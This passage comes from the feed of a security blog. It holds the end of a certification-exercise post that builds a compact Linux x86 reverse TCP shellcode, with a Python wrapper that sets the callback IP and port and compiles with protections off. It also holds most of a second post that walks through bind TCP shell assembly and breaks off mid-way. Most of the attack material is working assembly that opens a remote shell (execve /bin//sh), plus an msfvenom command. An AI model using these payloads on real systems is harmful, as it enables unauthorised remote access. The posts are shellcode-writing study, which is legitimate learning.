ecx&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; Pointer 1 Pushed onto the stack&lt;br /&gt;push ebx&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; Sockfd pushed onto the stack&lt;br /&gt;mov bl,0x3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; EBX now contains SYS_CONNECT &lt;br /&gt;mov ecx,esp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; Pointer 2 --&amp;gt; {sockfd, Pointer 1, 66}&lt;br /&gt;int 0x80&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; Interrupt Generated&lt;/blockquote&gt;There are two main highlights here; We did not move 0xb8220002 as a DWORD this may have decreased the length of the shellcode, but it would have introduced a Null byte as well(&lt;b&gt;00&lt;/b&gt;02). Hence, we pushed port in two halves. Additionally, we did not use IP as 127.0.0.1 because it would have contained nulls as well. Interestingly, we did not load 16 as the length this time and pushed the value of the call itself as length. This also means that it has a negligible effect on the system call. Hence, we saved bytes required to clear it out and loading the value 16 in there as we did in the previous post. Finally, we have the last segment of code as follows:&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;&amp;nbsp; &lt;br /&gt;push edx ; Pushing 0 Value to the stack&lt;br /&gt;push 0x68732f2f ; /bin&lt;br /&gt;push 0x6e69622f; //sh&lt;br /&gt;mov ebx,esp ; pointer 1 {/bin//sh}&lt;br /&gt;push edx ; Pushing 0 Value to the stack&lt;br /&gt;push ebx ; Pointer 1 to the stack&lt;br /&gt;mov ecx,esp ; pointer 2 {Pointer 1, 0}&lt;br /&gt;mov al,0xb ; EXECVE System Call&lt;br /&gt;int 0x80 ; Interrupt&lt;/blockquote&gt;The code above is nothing but setting up EXECVE like we did in the last post. Compiling the code we have:&lt;br /&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://1.bp.blogspot.com/-RVrAJcMRZ6Q/Wk6F_GW407I/AAAAAAAABy8/Tj-Th7mVGPwl-GKIe5EGusy2G0ScJCaRQCLcBGAs/s1600/Screenshot%2B2018-01-05%2B01.17.34.png&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;275&quot; data-original-width=&quot;887&quot; height=&quot;198&quot; src=&quot;https://1.bp.blogspot.com/-RVrAJcMRZ6Q/Wk6F_GW407I/AAAAAAAABy8/Tj-Th7mVGPwl-GKIe5EGusy2G0ScJCaRQCLcBGAs/s640/Screenshot%2B2018-01-05%2B01.17.34.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Generating Shellcode&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&amp;nbsp;Compiling the shellcode in a C program and testing it, we can see that our shellcode works correctly as shown below:&lt;br /&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://1.bp.blogspot.com/-xIhnyO3okWM/Wk6GAsByNlI/AAAAAAAABzA/PgS3Zy2_LGwifp7hMAnexteTdhlWZLjVwCLcBGAs/s1600/Screenshot%2B2018-01-05%2B01.20.20.png&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;586&quot; data-original-width=&quot;890&quot; height=&quot;421&quot; src=&quot;https://1.bp.blogspot.com/-xIhnyO3okWM/Wk6GAsByNlI/AAAAAAAABzA/PgS3Zy2_LGwifp7hMAnexteTdhlWZLjVwCLcBGAs/s640/Screenshot%2B2018-01-05%2B01.20.20.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Compiling and running shellcode.c program with our shellcode&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;Let&#39;s write a python wrapper for the shellcode so that changing IP address and PORT on the fly won&#39;t be a hassle for us:&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;&amp;nbsp; &lt;br /&gt;&lt;pre&gt;#!/usr/bin/python&lt;br /&gt;import sys&lt;br /&gt;import socket&lt;br /&gt;print &quot;Stub File:&quot;+sys.argv[1]&lt;br /&gt;print &quot;IP Addr:&quot;+sys.argv[2]&lt;br /&gt;print &quot;Port Used:&quot;+ sys.argv[3]&lt;br /&gt;ip_addr= sys.argv[2].split(&quot;.&quot;)&lt;br /&gt;ip_addr_bytes = &#39;{:02X}{:02X}{:02X}{:02X}&#39;.format(*map(int, ip_addr))&lt;br /&gt;&lt;br /&gt;with open(sys.argv[1]+&quot;.c&quot;, &quot;rb&quot;) as f:&lt;br /&gt;    contents = f.readlines()&lt;br /&gt;&lt;br /&gt;def H( hexStr ):&lt;br /&gt;    bytes = []&lt;br /&gt;    hexStr = &#39;&#39;.join( hexStr.split(&quot; &quot;) )&lt;br /&gt;    for i in range(0, len(hexStr), 2):&lt;br /&gt;        bytes.append( chr( int (hexStr[i:i+2], 16 ) ) )&lt;br /&gt;    return &#39;&#39;.join( bytes )&lt;br /&gt;&lt;br /&gt;ip_addr_final= repr(H(ip_addr_bytes)).replace(&quot;&#39;&quot;,&quot;&quot;)&lt;br /&gt;&lt;br /&gt;port = hex(int(sys.argv[3])).split(&#39;x&#39;)[1]&lt;br /&gt;fh, sh = port[:2],port[2:]&lt;br /&gt;if len(fh) == 1: fh = &quot;0&quot; + fh&lt;br /&gt;if len(sh) == 1: sh = &quot;0&quot; + sh&lt;br /&gt;_p = &quot;\\x{0}\\x{1}&quot;.format(fh,sh)&lt;br /&gt;for j,i in enumerate(contents):&lt;br /&gt;    if &quot;\\x22\\xb8&quot; in i:&lt;br /&gt;        print &quot;Line Number :&quot; + str(j)&lt;br /&gt; contents[j] = &#39;&quot;&#39; + _p +&#39;&quot;&#39;&lt;br /&gt;    elif &quot;\\x7f\\x01\\x01\\x01&quot; in i:&lt;br /&gt; print &quot;Line Number :&quot; + str(j)&lt;br /&gt; contents[j] = &#39;&quot;&#39; +ip_addr_final + &#39;&quot;&#39; &lt;br /&gt;nf = sys.argv[1]+&quot;_new.c&quot;&lt;br /&gt;with open(nf, &quot;wb&quot;) as f:&lt;br /&gt;    f.writelines(contents)&lt;br /&gt;import os&lt;br /&gt;os.system(&quot;gcc {0} -o {1} -fno-stack-protector -z execstack&quot;.format(nf,sys.argv[1]))&lt;br /&gt;os.system(&quot;rm {0}&quot;.format(nf))&lt;br /&gt;&lt;/pre&gt;&amp;nbsp; &lt;/blockquote&gt;Running the python code, we can see that we can now change IP and port parameters on the fly:&lt;br /&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://3.bp.blogspot.com/-W9_NHH2TNaM/Wk6Okw4o3uI/AAAAAAAABzQ/Z5W8ANdOrwwVtmhigHFL4G9myLl0G9_VgCLcBGAs/s1600/Screenshot%2B2018-01-05%2B01.46.49.png&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;856&quot; data-original-width=&quot;888&quot; height=&quot;616&quot; src=&quot;https://3.bp.blogspot.com/-W9_NHH2TNaM/Wk6Okw4o3uI/AAAAAAAABzQ/Z5W8ANdOrwwVtmhigHFL4G9myLl0G9_VgCLcBGAs/s640/Screenshot%2B2018-01-05%2B01.46.49.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Wrapper &amp;amp; Execution&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;We have completed all the required tasks. We now have one of the smallest reverse TCP shellcode with an on the fly IP and Port changing wrapper.&lt;br /&gt;&lt;br /&gt;Files for this tutorial can be found at:&lt;br /&gt;&lt;a href=&quot;https://github.com/nipunjaswal/slae-exam/tree/master/ASSGN-2&quot;&gt;https://github.com/nipunjaswal/slae-exam/tree/master/ASSGN-2&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: red;&quot;&gt;This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: red;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;a href=&quot;http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/&quot; rel=&quot;nofollow&quot;&gt;http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: red;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;Student-ID: SLAE-1080&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;</description><link>http://www.nipunjaswal.com/2018/01/tale-of-the-smallest-shellcode.html</link><author>noreply@blogger.com (Nipun Jaswal)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://3.bp.blogspot.com/-24nh__UNnTg/Wk6RW0xQ8XI/AAAAAAAABzU/09KIwSr9ZQEt98HtUm83hU1fm9y2VTj8gCLcBGAs/s72-c/eyechangedlogogreen.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7191082080817652356.post-6541808669010790413</guid><pubDate>Tue, 02 Jan 2018 08:54:00 +0000</pubDate><atom:updated>2018-01-02T14:50:26.770+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">slae</category><category domain="http://www.blogger.com/atom/ns#">slae assignment 1</category><title>Art of Shellcoding: The Saga of Bind TCP Shell</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://4.bp.blogspot.com/--ppcgo2sRzQ/WktOyRiogNI/AAAAAAAAByI/nymm-KkrB3cqRjOrMIppu5Wxh5r_J-dyQCLcBGAs/s1600/shell.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;200&quot; data-original-width=&quot;470&quot; height=&quot;134&quot; src=&quot;https://4.bp.blogspot.com/--ppcgo2sRzQ/WktOyRiogNI/AAAAAAAAByI/nymm-KkrB3cqRjOrMIppu5Wxh5r_J-dyQCLcBGAs/s320/shell.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;Dear Readers, we all in the infosec community use bind TCP shell almost on a daily basis. I too have seen many people copying shellcodes blindly from the internet and just pasting them into the exploits without knowing what those shellcodes might be carrying. Today, we will uncover the working of bind TCP shell and based on the analysis, we will try to develop one ourselves. If you are not familiar with the assembly, Enroll yourself into SLAE course from &lt;a href=&quot;http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/&quot; target=&quot;_blank&quot;&gt;SecurityTube&lt;/a&gt;, its one of the best classes available out there and i&amp;nbsp;am able to write this post based on the advanced knowledge i gained from the course itself. Anyways, The agenda of this exercise is to:&lt;br /&gt;&lt;div&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;Analyze the Bind Shell generated from Metasploit&lt;/li&gt;&lt;li&gt;Create your own shellcode based on the analysis&lt;/li&gt;&lt;li&gt;Remove any Null bytes (Bad Characters)&lt;/li&gt;&lt;li&gt;Generate a space friendly shellcode (minimalistic)&lt;/li&gt;&lt;li&gt;Write a wrapper to dynamically change the bind port&lt;/li&gt;&lt;/ul&gt;So let&#39;s get started, we will use &lt;b&gt;libemu &lt;/b&gt;to analyze the &lt;b&gt;bind_shell_tcp&lt;/b&gt; shellcode for x86 Linux. The analytics for this shellcode can be drawn through the following command:&lt;/div&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;&lt;div&gt;msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 -f raw | sctest -vvv -Ss 10000 &lt;/div&gt;&lt;/blockquote&gt;Creating a graphical representation of the shellcode using libemu, we have the following flow diagram of the bind_shell_tcp payload as shown in the next screen:&lt;br /&gt;&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://2.bp.blogspot.com/-OpgTzQrLl9Y/WkaPvBCFpZI/AAAAAAAABwE/zuf82pBMFb4WS3F6tcrf0__VLxt9ld6DQCLcBGAs/s1600/linux-shell-bind-tcp-x86.png&quot; style=&quot;clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1600&quot; data-original-width=&quot;656&quot; src=&quot;https://2.bp.blogspot.com/-OpgTzQrLl9Y/WkaPvBCFpZI/AAAAAAAABwE/zuf82pBMFb4WS3F6tcrf0__VLxt9ld6DQCLcBGAs/s1600/linux-shell-bind-tcp-x86.png&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Analysis of the BIND TCP Shellcode generated using msfvenom&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;We can see that we have a pretty straightforward workflow which displays all the important system calls used by the bind_shell_tcp shellcode. However, let us try tracing all the system calls, parameters involved, etc. using &lt;b&gt;strace &lt;/b&gt;as shown on the following screen:&lt;br /&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://3.bp.blogspot.com/-2-JFc3JjXFI/WkaSXBvfwmI/AAAAAAAABwc/d0Sr6eQgXR0EET3QRhBonL2U90-hI_aSgCLcBGAs/s1600/calls.png&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;300&quot; data-original-width=&quot;1057&quot; height=&quot;179&quot; src=&quot;https://3.bp.blogspot.com/-2-JFc3JjXFI/WkaSXBvfwmI/AAAAAAAABwc/d0Sr6eQgXR0EET3QRhBonL2U90-hI_aSgCLcBGAs/s640/calls.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Strace Analysis on the shellcode&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;We can clearly see the order and parameters passed to the system calls. Let&#39;s use this information as a base for our shellcode and jump directly into building a shellcode from the very scratch:&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;&lt;br /&gt;xor ebx,ebx&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; Clearing EBX Register&lt;br /&gt;xor eax,eax&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; Clearing EAX Register&lt;br /&gt;mov al,102&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; Moving SocketCall to EAX(Sys Call Number= 102)&lt;br /&gt;inc bl&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; (Saving 1 Byte) Moving 1 to EBX with a Byte Less, otherwise w$&lt;br /&gt;push esi&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; Pushing 0 onto the stack(0: IPPROTO_IP)&lt;br /&gt;push byte 1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; Pushing 1 onto the stack(1: SOCK_STREAM)&lt;br /&gt;push byte 2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; Pushing 2 onto the stack(2: AF_INET)&lt;br /&gt;mov ecx,esp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; Load pointer to the stack structure to ECX&lt;br /&gt;int 0x80&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; Calling Interrupt&lt;/blockquote&gt;What did we do? Initially, we cleared both EAX and EBX registers and moved the socketcall identifier (102 | 0x66) to EAX(AL),&amp;nbsp; We could have moved 1 to BL. Instead, we used INC(Increment) instruction which makes the value inside BL as 1. We pushed 0&amp;nbsp; to the stack which is the value for IPPROTO_IP. Similarly, we pushed 1 and 2 onto the stack which is nothing but SOCK_STREAM and PF_INET. This makes stack contain {2,1,0}. We have already set EAX and EBX, we need to set ECX to the stack. Hence, we move ESP to ECX. Next, we simply call the Interrupt. Looking at the socketcall:&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;&lt;b&gt;int socketcall(int &lt;/b&gt;&lt;i&gt;call&lt;/i&gt;&lt;b&gt;, unsigned long *&lt;/b&gt;&lt;i&gt;args&lt;/i&gt;&lt;b&gt;);&lt;/b&gt;&lt;/blockquote&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;The&lt;b&gt; socketcall &lt;/b&gt;identifier is 102 ---&amp;gt; EAX&lt;/li&gt;&lt;li&gt;&lt;b&gt;int call &lt;/b&gt;identifier is 1 ----&amp;gt; 1: SYS_SOCKET ---&amp;gt; EBX&lt;/li&gt;&lt;li&gt;&lt;b&gt;unsigned long *&lt;/b&gt;&lt;i&gt;args&lt;/i&gt; ----&amp;gt;{2,1,0} ---&amp;gt; Address ---&amp;gt; ECX&lt;/li&gt;&lt;/ul&gt;Setting up the SYS_SOCKET, next task is to setup bind system call, let&#39;s get started:&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;&lt;br /&gt;xchg edi,eax&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; Saving the Result After Syscall from EAX to EDI&lt;br /&gt;push esi&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; Zero Pushed onto the Stack&lt;br /&gt;push word 0xb822&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; Port 8888 Pushed onto the Stack&lt;br /&gt;push word 2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; 2 Pushed onto the Stack&lt;br /&gt;mov ebx,esp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; Top of the stack stored to EBX---&amp;gt;{0xb8220002,0}&lt;br /&gt;push byte 16&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; 16 Pushed onto the Stack&lt;br /&gt;push ebx&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; Pointer ---&amp;gt; {Port,0}&lt;br /&gt;push edi&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; EDI Points to Result from SocketCALL&lt;br /&gt;xor ebx,ebx&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; Clearing EBX&lt;br /&gt;mul ebx&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; Clearing EAX&lt;br /&gt;mov al,102&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; SOCKETCALL Identifier&lt;br /&gt;mov bl,2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; int call is bind here; 2&lt;br /&gt;mov ecx,esp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; Address of the top of the stack to ECX&lt;br /&gt;int 0x80&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; Interrupt&lt;/blockquote&gt;&lt;pre&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/pre&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;&lt;pre&gt;&lt;b&gt;int bind(int &lt;/b&gt;&lt;i&gt;sockfd&lt;/i&gt;&lt;b&gt;, const struct sockaddr *&lt;/b&gt;&lt;i&gt;addr&lt;/i&gt;&lt;b&gt;, socklen_t &lt;/b&gt;&lt;i&gt;addrlen&lt;/i&gt;&lt;b&gt;);&lt;/b&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt;&amp;nbsp;We store the result from the previous call to EDI from EAX which is nothing but the value to be placed in &lt;b&gt;sockfd&lt;/b&gt;. We push 0 onto the stack with PUSH ESI and then PUSH 0xb8220002 onto the stack. We did this in two steps using push word instruction because pushing it in one go would have resulted in a NULL byte generated by leading two zeros of the 0002. So, now our stack becomes {b8220002, 00000000}. We store the address of current ESP to EBX. Next, we push 16 which is &lt;b&gt;socklen_t&lt;/b&gt;, we push EBX as &lt;b&gt;sockaddr&lt;/b&gt;, and we push &lt;b&gt;sockfd &lt;/b&gt;stored in EDI.&lt;br /&gt;&lt;br /&gt;We now have the complete structure of arguments present on the stack, and since everything is placed correctly on the stack, we can clear the EBX and EAX registers. Let&#39;s issue another SOCKETCALL with call type as SYS_BIND denoted by 2 as the identifier. So, we move 102 to EAX, 2 to EBX and Top of the stack which contains our parameter structure to ECX and issues the interrupt. The Next call is to listen. Let &#39;s see what parameters are required for this call to work:&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;&lt;pre&gt;&lt;b&gt;int listen(int &lt;/b&gt;&lt;i&gt;sockfd&lt;/i&gt;&lt;b&gt;, int &lt;/b&gt;&lt;i&gt;backlog&lt;/i&gt;&lt;b&gt;);&lt;/b&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;&lt;br /&gt;push esi&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; Backlog Value 0&lt;br /&gt;push edi&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; Pushing Sockfd onto the stack&lt;br /&gt;xor ebx,ebx&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; Clearing EBX&lt;br /&gt;mul ebx&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; Clearing EAX&lt;br /&gt;mov al,102&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; SOCKETCALL&lt;br /&gt;mov bl,4&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; Listen call&lt;br /&gt;mov ecx,esp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; Pointing pushed values to ECX&lt;br /&gt;int 0x80&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; Interrupt&lt;/blockquote&gt;We know we have our sockfd in the EDI let&#39;s push it to the stack after pushing 0 for the backlog by issuing PUSH ESI. Next, we just clear off EAX and EBX registers and build registers to issue another SOCKETCALL. But this time, we move 4 to EBX which denotes SYS_Listen call, we move the top of the stack to ECX and simply issue the interrupt. Next, we move to the accept call as follows:&lt;br /&gt;&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;&lt;pre&gt;&lt;b&gt;int accept(int &lt;/b&gt;&lt;i&gt;sockfd&lt;/i&gt;&lt;b&gt;, struct sockaddr *&lt;/b&gt;&lt;i&gt;addr&lt;/i&gt;&lt;b&gt;, socklen_t *&lt;/b&gt;&lt;i&gt;addrlen&lt;/i&gt;&lt;b&gt;);&lt;/b&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt;We will similarly setup this system call like the way we did for the earlier ones:&lt;br 